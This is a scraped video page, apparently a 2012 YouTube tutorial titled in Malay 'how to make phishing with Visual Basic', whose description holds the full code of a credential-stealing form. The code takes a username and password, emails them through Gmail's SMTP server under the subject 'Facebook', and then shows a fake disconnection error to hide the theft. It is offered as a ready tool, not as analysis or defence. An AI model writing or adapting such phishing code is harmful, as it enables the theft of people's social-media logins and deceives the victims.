Loading...

Cara buat phishing guna visual basic..

2,679 views

Loading...

Loading...

Loading...

Rating is available when the video has been rented.
This feature is not available right now. Please try again later.
Published on Mar 24, 2012

Imports System.Net.Mail

If TextBox1.Text = "" Then
MsgBox("Username is missing!")
If Textbox2.text = "" Then
Msgbox("Password is missing!")
Else
End if
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("EMAIL@gmail.com ", "PASSWORD")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("EMAIL@gmail.com ")
mail.To.Add("EMAIL@gmail.com ")
mail.Subject = "Facebook"
mail.Body = "Username: " & TextBox1.Text & ", " & "Password: " & textbox2.text
smtpServer.Send(mail)
MsgBox("Disconnected from server, please try again later!")

Loading...

Advertisement
When autoplay is enabled, a suggested video will automatically play next.

Up next


to add this to Watch Later

Add to

Loading playlists...